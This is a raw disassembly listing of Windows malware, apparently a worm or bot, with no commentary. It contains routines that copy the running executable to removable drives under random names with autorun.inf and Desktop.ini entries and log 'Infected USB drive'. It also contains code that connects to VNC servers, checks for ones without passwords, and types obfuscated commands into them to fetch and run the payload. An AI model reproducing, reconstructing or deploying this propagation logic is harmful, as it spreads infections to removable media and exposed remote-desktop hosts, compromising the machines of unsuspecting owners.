		call	dword_43708C	; CreateDirectoryA
		test	eax, eax
		jnz	short loc_407C2F
		call	dword_437170	; RtlGetLastWin32Error


loc_407C2F:				; CODE XREF: sub_4079AA+27Dj
		lea	eax, [ebp+var_291C]
		push	7
		push	eax
		call	ebx ; dword_437068
		lea	eax, [ebp+var_291C]
		push	offset aDesktop_ini ; "\\Desktop.ini"
		push	eax
		call	esi ; dword_437090
		xor	eax, eax
		push	eax
		push	6
		push	2
		push	eax
		push	eax
		lea	eax, [ebp+var_291C]
		push	40000000h
		push	eax
		call	dword_43705C	; CreateFileA
		cmp	eax, 1
		mov	[ebp+var_4], eax
		jb	loc_407E11
		lea	ecx, [ebp+var_8]
		push	0
		push	ecx
		push	3Fh
		push	offset a_shellclassinf ; "[.ShellClassInfo]\r\nCLSID={645FF040-5081"...
		push	eax
		call	dword_437078	; WriteFile
		test	eax, eax
		jnz	short loc_407C91
		mov	edi, [ebp+var_4]
		xor	esi, esi
		jmp	loc_407E3D
; ---------------------------------------------------------------------------


loc_407C91:				; CODE XREF: sub_4079AA+2DBj
		push	[ebp+var_4]
		call	dword_437044	; CloseHandle
		lea	eax, [ebp+var_291C]
		push	eax
		call	dword_437088	; lstrlenA
		lea	eax, [ebp+eax+var_291C]
		jmp	short loc_407CB1
; ---------------------------------------------------------------------------


loc_407CB0:				; CODE XREF: sub_4079AA+30Aj
		dec	eax


loc_407CB1:				; CODE XREF: sub_4079AA+304j
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_407CB0
		and	byte ptr [eax+1], 0
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		idiv	edi
		lea	eax, [ebp+var_108]
		push	edx
		push	offset dword_4439B4
		push	offset aSDDDDD_exe ; "%s%d%d%d%d%d.exe"
		push	100h
		push	eax
		call	sub_429BBE
		add	esp, 24h
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_291C]
		push	eax
		call	esi ; dword_437090
		lea	eax, [ebp+var_502C]
		push	270Fh
		push	eax
		push	0
		call	dword_43717C	; GetModuleFileNameA
		lea	eax, [ebp+var_291C]
		push	1
		push	eax
		lea	eax, [ebp+var_502C]
		push	eax
		call	dword_437064	; CopyFileA
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_291C]
		push	7
		push	eax
		call	ebx ; dword_437068
		mov	ecx, 9C4h
		xor	eax, eax
		cmp	[ebp+var_291C],	5Ch
		lea	edi, [ebp+var_502C]
		rep stosd
		lea	edi, [ebp+var_291C]
		jz	short loc_407D79


loc_407D73:				; CODE XREF: sub_4079AA+3CDj
		inc	edi
		cmp	byte ptr [edi],	5Ch
		jnz	short loc_407D73


loc_407D79:				; CODE XREF: sub_4079AA+3C7j
		lea	eax, [ebp+var_502C]
		push	offset aAutorunOpen ; "[autorun]\r\nopen="
		push	eax
		inc	edi
		call	esi ; dword_437090
		lea	eax, [ebp+var_502C]
		push	edi
		push	eax
		call	esi ; dword_437090
		lea	eax, [ebp+var_502C]
		push	offset aIconSystemroot ; "\r\nicon=%SystemRoot%\\system32\\SHELL32.dl"...
		push	eax
		call	esi ; dword_437090
		lea	eax, [ebp+var_502C]
		push	edi
		push	eax
		call	esi ; dword_437090
		lea	eax, [ebp+var_502C]
		push	offset aShellOpenDefau ; "\r\nshell\\open\\default=1"
		push	eax
		call	esi ; dword_437090
		push	[ebp+arg_0]
		mov	ecx, 9C4h
		xor	eax, eax
		lea	edi, [ebp+var_291C]
		rep stosd
		lea	eax, [ebp+var_291C]
		push	eax
		call	esi ; dword_437090
		lea	eax, [ebp+var_291C]
		push	offset dword_43EC64
		push	eax
		call	esi ; dword_437090
		lea	eax, [ebp+var_291C]
		push	80h
		push	eax
		call	ebx ; dword_437068
		xor	esi, esi
		lea	eax, [ebp+var_291C]
		push	esi
		push	7
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	dword_43705C	; CreateFileA
		mov	edi, eax
		cmp	edi, 1
		jnb	short loc_407E15


loc_407E11:				; CODE XREF: sub_4079AA+2BFj
		xor	eax, eax
		jmp	short loc_407E46
; ---------------------------------------------------------------------------


loc_407E15:				; CODE XREF: sub_4079AA+465j
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_502C]
		push	eax
		call	dword_437088	; lstrlenA
		push	eax
		lea	eax, [ebp+var_502C]
		push	eax
		push	edi
		call	dword_437078	; WriteFile
		test	eax, eax
		jz	short loc_407E3D
		mov	esi, [ebp+var_4]


loc_407E3D:				; CODE XREF: sub_4079AA+2E2j
					; sub_4079AA+48Ej
		push	edi
		call	dword_437044	; CloseHandle
		mov	eax, esi


loc_407E46:				; CODE XREF: sub_4079AA+469j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4079AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407E4B	proc near		; DATA XREF: sub_40A9FE+6731o

var_27D8	= byte ptr -27D8h
var_27D7	= byte ptr -27D7h
var_C8		= dword	ptr -0C8h
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 27D8h
		call	sub_429B60
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		and	[ebp+var_27D8],	0
		push	31h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	dword ptr [eax+0BCh], 1
		mov	ecx, 9C3h
		xor	eax, eax
		lea	edi, [ebp+var_27D7]
		rep stosd
		stosw
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], 20h
		stosb
		lea	eax, [ebp+var_27D8]
		mov	byte ptr [ebp+arg_0+1],	3Ah
		push	eax
		push	270Fh
		call	dword_437098	; GetLogicalDriveStringsA
		test	eax, eax
		jz	loc_407F4C
		lea	ecx, [ebp+var_27D8]
		push	ebx
		mov	[ebp+var_4], ecx
		mov	ebx, offset aXlpyr1anpgm0 ; "xLpyR1aNPGm0"
		mov	edi, offset aSInfectedUsbDr ; "%s Infected USB drive: %s"
		mov	esi, offset dword_443F1C


loc_407ECC:				; CODE XREF: sub_407E4B+FEj
		mov	al, [ecx]
		cmp	al, 41h
		mov	byte ptr [ebp+arg_0], al
		jz	short loc_407F3D
		cmp	al, 42h
		jz	short loc_407F3D
		cmp	al, 61h
		jz	short loc_407F3D
		cmp	al, 62h
		jz	short loc_407F3D
		lea	eax, [ebp+arg_0]
		push	eax
		call	dword_437094	; GetDriveTypeA
		cmp	eax, 2
		jnz	short loc_407F3A
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4079AA
		test	eax, eax
		pop	ecx
		jz	short loc_407F3A
		cmp	[ebp+var_18], 0
		jz	short loc_407F1F
		cmp	[ebp+var_10], 0
		jnz	short loc_407F25
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	edi
		push	esi
		push	[ebp+var_C8]
		call	sub_41CE4A
		add	esp, 14h


loc_407F1F:				; CODE XREF: sub_407E4B+B7j
		cmp	[ebp+var_10], 0
		jz	short loc_407F3A


loc_407F25:				; CODE XREF: sub_407E4B+BDj
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	edi
		push	esi
		push	[ebp+var_C8]
		call	sub_41CDD4
		add	esp, 14h


loc_407F3A:				; CODE XREF: sub_407E4B+A3j
					; sub_407E4B+B1j ...
		mov	ecx, [ebp+var_4]


loc_407F3D:				; CODE XREF: sub_407E4B+88j
					; sub_407E4B+8Cj ...
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jnz	short loc_407F3D
		cmp	[ecx], al
		mov	[ebp+var_4], ecx
		jnz	short loc_407ECC
		pop	ebx


loc_407F4C:				; CODE XREF: sub_407E4B+62j
		xor	eax, eax
		pop	edi
		inc	eax
		pop	esi
		leave
		retn	4
sub_407E4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F55	proc near		; CODE XREF: sub_408B99+604p

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		lea	eax, [ebp+var_8]
		xor	esi, esi
		sub	edi, eax


loc_407F66:				; CODE XREF: sub_407F55+32j
		push	[ebp+arg_4]
		call	sub_4293A0
		cmp	esi, eax
		pop	ecx
		jnb	short loc_407F7E
		lea	eax, [ebp+esi+var_8]
		mov	cl, [edi+eax]
		mov	[eax], cl
		jmp	short loc_407F83
; ---------------------------------------------------------------------------


loc_407F7E:				; CODE XREF: sub_407F55+1Cj
		and	[ebp+esi+var_8], 0


loc_407F83:				; CODE XREF: sub_407F55+27j
		inc	esi
		cmp	esi, 8
		jb	short loc_407F66
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		call	sub_4034A5
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		push	2
		pop	edi


loc_407F9C:				; CODE XREF: sub_407F55+54j
		push	esi
		push	esi
		call	sub_40366B
		pop	ecx
		add	esi, 8
		dec	edi
		pop	ecx
		jnz	short loc_407F9C
		pop	edi
		pop	esi
		leave
		retn
sub_407F55	endp


; =============== S U B	R O U T	I N E =======================================



sub_407FAF	proc near		; CODE XREF: .text:00408398p
					; .text:0040841Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi
		jmp	short loc_407FDA
; ---------------------------------------------------------------------------


loc_407FB9:				; CODE XREF: sub_407FAF+2Dj
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_456F58	; recv
		test	eax, eax
		jz	short loc_407FE4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_407FE4
		sub	edi, eax
		add	esi, eax


loc_407FDA:				; CODE XREF: sub_407FAF+8j
		test	edi, edi
		jg	short loc_407FB9
		xor	eax, eax
		inc	eax


loc_407FE1:				; CODE XREF: sub_407FAF+37j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_407FE4:				; CODE XREF: sub_407FAF+20j
					; sub_407FAF+25j
		xor	eax, eax
		jmp	short loc_407FE1
sub_407FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_407FE8	proc near		; CODE XREF: .text:004083FFp
					; .text:00408470p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_408025
		xor	esi, esi
		test	edi, edi
		jle	short loc_40801F


loc_407FF8:				; CODE XREF: sub_407FE8+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_456F8C	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408025
		test	eax, eax
		jz	short loc_408025
		add	esi, eax
		cmp	esi, edi
		jl	short loc_407FF8


loc_40801F:				; CODE XREF: sub_407FE8+Ej
		xor	eax, eax
		inc	eax


loc_408022:				; CODE XREF: sub_407FE8+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_408025:				; CODE XREF: sub_407FE8+8j
					; sub_407FE8+2Bj ...
		xor	eax, eax
		jmp	short loc_408022
sub_407FE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408029	proc near		; CODE XREF: .text:004085BEp
					; .text:004085D4p ...

var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		push	edi
		mov	esi, offset dword_4553A4
		lea	edi, [ebp+var_10]
		mov	ax, word_43EE74
		movsd
		movsb
		mov	esi, offset dword_4557C8
		lea	edi, [ebp+var_18]
		mov	[ebp+var_2], ax
		mov	ax, word_43EE70
		movsd
		mov	[ebp+var_6], ax
		mov	ax, word_454038
		movsw
		mov	[ebp+var_4], ax
		mov	eax, [ebp+arg_8]
		xor	esi, esi
		cmp	eax, esi
		jnz	loc_4080F2
		mov	edi, [ebp+arg_0]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	[ebp+arg_8], esi


loc_40807B:				; CODE XREF: sub_408029+C4j
		mov	eax, [ebp+arg_8]
		sub	eax, esi
		jz	short loc_408098
		dec	eax
		jnz	short loc_4080E6
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_456F8C	; send
		lea	eax, [ebp+var_4]
		jmp	short loc_4080A9
; ---------------------------------------------------------------------------


loc_408098:				; CODE XREF: sub_408029+57j
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_456F8C	; send
		lea	eax, [ebp+var_6]


loc_4080A9:				; CODE XREF: sub_408029+6Dj
		push	esi
		push	1
		push	eax
		push	edi
		call	dword_456F8C	; send
		push	ebx
		call	sub_4293A0
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_4080C8
		push	4
		lea	eax, [ebp+var_10]
		jmp	short loc_4080CD
; ---------------------------------------------------------------------------


loc_4080C8:				; CODE XREF: sub_408029+96j
		push	5
		lea	eax, [ebp+var_18]


loc_4080CD:				; CODE XREF: sub_408029+9Dj
		push	eax
		push	edi
		call	dword_456F8C	; send
		push	esi
		push	ebx
		call	sub_4293A0
		pop	ecx
		push	eax
		push	ebx
		push	edi
		call	dword_456F8C	; send


loc_4080E6:				; CODE XREF: sub_408029+5Aj
		inc	[ebp+arg_8]
		cmp	[ebp+arg_8], 1
		jle	short loc_40807B
		pop	ebx
		jmp	short loc_408165
; ---------------------------------------------------------------------------


loc_4080F2:				; CODE XREF: sub_408029+42j
		dec	eax
		jz	short loc_40810E
		dec	eax
		jnz	short loc_408165
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_456F8C	; send
		lea	eax, [ebp+var_4]
		jmp	short loc_408122
; ---------------------------------------------------------------------------


loc_40810E:				; CODE XREF: sub_408029+CAj
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_456F8C	; send
		lea	eax, [ebp+var_6]


loc_408122:				; CODE XREF: sub_408029+E3j
		push	esi
		push	1
		push	eax
		push	edi
		call	dword_456F8C	; send
		push	[ebp+arg_4]
		call	sub_4293A0
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_408143
		push	4
		lea	eax, [ebp+var_10]
		jmp	short loc_408148
; ---------------------------------------------------------------------------


loc_408143:				; CODE XREF: sub_408029+111j
		push	5
		lea	eax, [ebp+var_18]


loc_408148:				; CODE XREF: sub_408029+118j
		push	eax
		push	edi
		call	dword_456F8C	; send
		push	esi
		push	[ebp+arg_4]
		call	sub_4293A0
		pop	ecx
		push	eax
		push	[ebp+arg_4]
		push	edi
		call	dword_456F8C	; send


loc_408165:				; CODE XREF: sub_408029+C7j
					; sub_408029+CDj
		pop	edi
		pop	esi
		leave
		retn
sub_408029	endp

; ---------------------------------------------------------------------------
		mov	eax, 29ECh
		call	sub_429B60
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, offset dword_43EF88
		lea	edi, [esp+7Ch]
		movsd
		movsd
		movsd
		movsb
		mov	esi, offset dword_43EF84
		lea	edi, [esp+60h]
		movsw
		movsb
		mov	esi, offset dword_4553A4
		lea	edi, [esp+64h]
		movsd
		movsb
		mov	esi, offset dword_43EF80
		lea	edi, [esp+20h]
		movsw
		movsb
		mov	esi, offset dword_43EF7C
		lea	edi, [esp+38h]
		movsw
		mov	ax, word_43EE70
		movsb
		mov	esi, offset loc_43EF78
		lea	edi, [esp+1Ch]
		movsw
		movsb
		mov	[esp+2Ah], ax
		mov	[esp+3Eh], ax
		mov	ax, word_43EF74
		xor	esi, esi
		mov	[esp+26h], ax
		mov	ax, word_43EF70
		push	esi
		push	1
		push	2
		mov	[esp+34h], ax
		mov	[esp+3Ch], esi
		call	dword_456FD0	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[esp+14h], edi
		jnz	short loc_408208
		push	eax
		call	dword_456FF0	; closesocket


loc_408208:				; CODE XREF: .text:004081FFj
		lea	eax, [esp+2A08h]
		mov	word ptr [esp+9Ch], 2
		push	eax
		call	dword_456F7C	; inet_addr
		push	170Ch
		mov	[esp+0A4h], eax
		call	dword_456F38	; ntohs
		mov	[esp+9Eh], ax
		lea	eax, [esp+9Ch]
		push	10h
		push	eax
		push	edi
		call	dword_456EBC	; connect
		test	eax, eax
		jnz	loc_408B82
		mov	edi, dword_437190
		mov	ebp, 3E8h
		mov	ebx, offset byte_4556C8
		mov	esi, offset aVxppy0owq7d ; "VxPpy0owQ7D/"


loc_408268:				; CODE XREF: .text:00408318j
					; .text:0040845Fj ...
		push	40h
		lea	eax, [esp+0B0h]
		push	0
		push	eax
		call	sub_429760
		add	esp, 0Ch
		lea	eax, [esp+0ACh]
		push	0
		push	40h
		push	eax
		push	dword ptr [esp+20h]
		call	dword_456F58	; recv
		test	eax, eax
		jle	loc_4088C4
		cmp	eax, 0FFFFFFFFh
		jz	loc_4088C4
		mov	eax, [esp+30h]
		sub	eax, 0
		jz	loc_408874
		dec	eax
		jz	short loc_4082DC
		dec	eax
		jnz	loc_4088B9
		lea	eax, [esp+64h]
		push	eax
		lea	eax, [esp+0B0h]
		push	eax
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jz	loc_4088C4


loc_4082D5:				; CODE XREF: .text:00408889j
		xor	esi, esi
		jmp	loc_408B82
; ---------------------------------------------------------------------------


loc_4082DC:				; CODE XREF: .text:004082B1j
		lea	eax, [esp+60h]
		push	eax
		lea	eax, [esp+0B0h]
		push	eax
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		push	0
		jnz	short loc_40831D
		lea	eax, [esp+2Eh]
		push	eax
		call	sub_4293A0
		pop	ecx
		push	eax
		lea	eax, [esp+32h]
		push	eax
		push	dword ptr [esp+20h]
		call	dword_456F8C	; send
		mov	dword ptr [esp+30h], 2
		jmp	loc_408268
; ---------------------------------------------------------------------------


loc_40831D:				; CODE XREF: .text:004082F3j
		push	1
		push	2
		call	dword_456FD0	; socket
		cmp	eax, 0FFFFFFFFh
		jz	loc_408A35
		lea	eax, [esp+2A08h]
		push	eax
		call	dword_456F7C	; inet_addr
		push	dword ptr [esp+2AACh]
		mov	[esp+94h], eax
		mov	word ptr [esp+90h], 2
		call	dword_456F38	; ntohs
		push	6
		push	1
		push	2
		mov	[esp+9Ah], ax
		call	dword_4372BC	; socket
		lea	ecx, [esp+8Ch]
		push	10h
		push	ecx
		push	eax
		mov	[esp+1Ch], eax
		call	dword_456EBC	; connect
		test	eax, eax
		jnz	loc_408A35
		lea	eax, [esp+6Ch]
		push	0Ch
		push	eax
		push	dword ptr [esp+18h]
		call	sub_407FAF
		add	esp, 0Ch
		test	eax, eax
		jz	loc_408A2B
		lea	eax, [esp+2Ch]
		and	byte ptr [esp+78h], 0
		push	eax
		lea	eax, [esp+38h]
		push	eax
		lea	eax, [esp+74h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_429E0E
		add	esp, 10h
		push	3
		pop	eax
		cmp	[esp+34h], eax
		jl	loc_408A2B
		jnz	short loc_4083E2
		cmp	[esp+2Ch], eax
		jl	loc_408A2B


loc_4083E2:				; CODE XREF: .text:004083D6j
		push	5
		push	eax
		lea	eax, [esp+74h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_429B03
		lea	eax, [esp+7Ch]
		push	0Ch
		push	eax
		push	dword ptr [esp+28h]
		call	sub_407FE8
		add	esp, 1Ch
		test	eax, eax
		jz	loc_408A2B
		lea	eax, [esp+44h]
		push	4
		push	eax
		push	dword ptr [esp+18h]
		call	sub_407FAF
		add	esp, 0Ch
		test	eax, eax
		jz	loc_408A2B
		mov	ecx, [esp+44h]
		mov	eax, ecx
		mov	edx, ecx
		and	eax, 0FF0000h
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, 0FF00h
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[esp+44h], eax
		sub	eax, 0
		jz	loc_408A35
		dec	eax
		jnz	loc_408268
		push	1
		push	offset word_454038
		push	dword ptr [esp+18h]
		call	sub_407FE8
		add	esp, 0Ch
		test	eax, eax
		jz	loc_408268
		lea	eax, [esp+48h]
		push	18h
		push	eax
		push	dword ptr [esp+18h]
		call	sub_407FAF
		add	esp, 0Ch
		test	eax, eax
		jz	loc_408268
		mov	eax, [esp+48h]
		xor	edx, edx
		mov	dl, [esp+49h]
		mov	ecx, 0FFh
		shl	eax, 8
		xor	dl, al
		and	dx, cx
		xor	edx, eax
		mov	eax, [esp+4Ah]
		mov	[esp+48h], dx
		xor	edx, edx
		mov	dl, [esp+4Bh]
		shl	eax, 8
		xor	dl, al
		and	dx, cx
		xor	edx, eax
		mov	eax, [esp+50h]
		mov	[esp+4Ah], dx
		xor	edx, edx
		mov	dl, [esp+51h]
		shl	eax, 8
		xor	dl, al
		and	dx, cx
		xor	edx, eax
		mov	eax, [esp+52h]
		mov	[esp+50h], dx
		xor	edx, edx
		mov	dl, [esp+53h]
		shl	eax, 8
		xor	dl, al
		and	dx, cx
		xor	edx, eax
		mov	eax, [esp+54h]
		mov	[esp+52h], dx
		xor	edx, edx
		mov	dl, [esp+55h]
		shl	eax, 8
		xor	dl, al
		and	dx, cx
		xor	edx, eax
		mov	eax, [esp+5Ch]
		mov	[esp+54h], dx
		mov	ecx, eax
		mov	edx, eax
		and	ecx, 0FF0000h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, 0FF00h
		or	edx, eax
		lea	eax, [esp+2A08h]
		push	eax
		lea	eax, [esp+2F0h]
		push	dword ptr [esp+30h]
		shr	ecx, 8
		push	dword ptr [esp+3Ch]
		shl	edx, 8
		push	offset aVncD_DSNopass ;	"VNC%d.%d: %s -	(NoPass)"
		or	ecx, edx
		push	2710h
		push	eax
		mov	[esp+74h], ecx
		call	sub_429BBE
		add	esp, 18h
		cmp	dword ptr [esp+2AC4h], 0
		jz	short loc_40859F
		lea	eax, [esp+2ECh]
		push	eax
		push	offset aS_5	; "%s"
		push	dword ptr [esp+2A08h]
		push	dword ptr [esp+2A10h]
		call	sub_41CE4A
		add	esp, 10h


loc_40859F:				; CODE XREF: .text:0040857Aj
		push	2710h
		lea	eax, [esp+2F0h]
		push	0
		push	eax
		call	sub_429760
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		push	dword ptr [esp+24h]
		call	sub_408029
		add	esp, 18h
		push	ebp
		call	edi ; dword_437190
		lea	eax, [esp+28h]
		push	0
		push	eax
		push	dword ptr [esp+18h]
		call	sub_408029
		add	esp, 0Ch
		push	ebp
		call	edi ; dword_437190
		lea	eax, [esp+20h]
		push	2
		push	eax
		push	dword ptr [esp+18h]
		call	sub_408029
		add	esp, 0Ch
		push	ebp
		call	edi ; dword_437190
		call	sub_429B9C
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_429B9C
		push	9
		cdq
		pop	ecx
		idiv	ecx
		lea	eax, [esp+1FCh]
		push	edx
		push	offset dword_4439B4
		push	offset aSDDDDD_exe ; "%s%d%d%d%d%d.exe"
		push	eax
		call	sub_429B03
		push	100h
		push	0
		push	ebx
		call	sub_429760
		add	esp, 2Ch
		cmp	dword_456DA8, 0
		jnz	loc_408713
		lea	eax, [esp+2A08h]
		push	eax
		call	sub_41E4C1
		test	eax, eax
		pop	ecx
		mov	dword ptr [esp+18h], offset dword_457CF8
		jnz	short loc_408687
		mov	dword ptr [esp+18h], offset dword_457C40


loc_408687:				; CODE XREF: .text:0040867Dj
		lea	eax, [esp+1ECh]
		push	offset a2Afm0dt3o6_ ; "2/Afm0dt3o6."
		push	eax
		push	offset aAqq27_7qqv10 ; "AQQ27.7qQv10"
		call	sub_401AF0
		push	eax
		push	offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0"
		call	sub_401AF0
		push	eax
		push	offset aLvk_hHddio0 ; "Lvk.H/hddio0"
		push	esi
		call	sub_401AF0
		push	eax
		lea	eax, [esp+210h]
		push	eax
		push	offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C."
		push	esi
		call	sub_401AF0
		push	eax
		call	sub_401A77
		push	eax
		call	sub_401A77
		push	eax
		push	offset aVgh9x1uWay0 ; "VgH9X1u/wAY0"
		push	esi
		call	sub_401AF0
		push	eax
		push	dword_454A30
		push	dword ptr [esp+64h]
		push	offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0"
		push	offset a_9fty1n2tM_ ; ".9ftY1N2T/m."
		push	offset a7zfry0iusme1 ; "7Zfry0IUSmE1"
		push	offset aSSSSDSSSSSSSSS ; "%s %s	%s %s %d >> %s %s %s %s	%s >> %s "...
		push	100h
		push	ebx
		call	sub_429BBE
		add	esp, 68h
		jmp	loc_40879F
; ---------------------------------------------------------------------------


loc_408713:				; CODE XREF: .text:0040865Fj
		push	offset a2Afm0dt3o6_ ; "2/Afm0dt3o6."
		push	offset dword_456BA8
		push	offset aAqq27_7qqv10 ; "AQQ27.7qQv10"
		call	sub_401AF0
		push	eax
		push	offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0"
		call	sub_401AF0
		push	eax
		push	offset aLvk_hHddio0 ; "Lvk.H/hddio0"
		push	esi
		call	sub_401AF0
		push	eax
		push	offset dword_456BA8
		push	offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C."
		push	esi
		call	sub_401AF0
		push	eax
		push	offset aEih0f1gakfp0 ; "EiH0f1GakFP0"
		push	esi
		call	sub_401AF0
		push	eax
		push	offset dword_4569A8
		push	offset dword_4567A8
		push	offset aVgh9x1uWay0 ; "VgH9X1u/wAY0"
		push	esi
		call	sub_401AF0
		push	eax
		push	dword_4567A0
		push	offset dword_4565A0
		push	offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0"
		push	offset a_9fty1n2tM_ ; ".9ftY1N2T/m."
		push	offset a7zfry0iusme1 ; "7Zfry0IUSmE1"
		push	offset aSSSSDSSSSSSS_0 ; "%s %s	%s %s %d >> %s %s %s %s	%s >> %s "...
		push	100h
		push	ebx
		call	sub_429BBE
		add	esp, 74h


loc_40879F:				; CODE XREF: .text:0040870Ej
		and	dword ptr [esp+18h], 0
		push	ebx
		call	sub_4293A0
		test	eax, eax
		pop	ecx
		jbe	short loc_4087F4


loc_4087AF:				; CODE XREF: .text:004087F2j
		mov	eax, [esp+18h]
		movsx	eax, byte_4556C8[eax]
		push	eax
		push	offset dword_43EE88
		lea	eax, [esp+48h]
		push	3
		push	eax
		call	sub_429BBE
		lea	eax, [esp+50h]
		push	0
		push	eax
		push	dword ptr [esp+28h]
		call	sub_408029
		add	esp, 1Ch
		push	0Fh
		call	edi ; dword_437190
		inc	dword ptr [esp+18h]
		push	ebx
		call	sub_4293A0
		cmp	[esp+1Ch], eax
		pop	ecx
		jb	short loc_4087AF


loc_4087F4:				; CODE XREF: .text:004087ADj
		push	ebp
		call	edi ; dword_437190
		lea	eax, [esp+38h]
		push	0
		push	eax
		push	dword ptr [esp+18h]
		call	sub_408029
		add	esp, 0Ch
		push	7530h
		call	edi ; dword_437190
		lea	eax, [esp+1Ch]
		push	1
		push	eax
		push	dword ptr [esp+18h]
		call	sub_408029
		add	esp, 0Ch
		push	ebp
		call	edi ; dword_437190
		lea	eax, [esp+26h]
		push	0
		push	eax
		push	dword ptr [esp+18h]
		call	sub_408029
		add	esp, 0Ch
		push	ebp
		call	edi ; dword_437190
		lea	eax, [esp+1Ch]
		push	2
		push	eax
		push	dword ptr [esp+18h]
		call	sub_408029
		add	esp, 0Ch
		push	ebp
		call	edi ; dword_437190
		mov	eax, [esp+2AB4h]
		mov	dword_4556C0, 1
		shl	eax, 6
		lea	eax, dword_43A380[eax]
		inc	dword ptr [eax]
		jmp	loc_408268
; ---------------------------------------------------------------------------


loc_408874:				; CODE XREF: .text:004082AAj
		lea	eax, [esp+7Ch]
		push	eax
		lea	eax, [esp+0B0h]
		push	eax
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jnz	loc_4082D5
		push	eax
		lea	eax, [esp+80h]
		push	eax
		call	sub_4293A0
		pop	ecx
		push	eax
		lea	eax, [esp+84h]
		push	eax
		push	dword ptr [esp+20h]
		call	dword_456F8C	; send
		mov	dword ptr [esp+30h], 1


loc_4088B9:				; CODE XREF: .text:004082B4j
		cmp	dword ptr [esp+30h], 3
		jnz	loc_408268


loc_4088C4:				; CODE XREF: .text:00408294j
					; .text:0040829Dj ...
		push	0
		lea	eax, [esp+42h]
		push	1
		push	eax
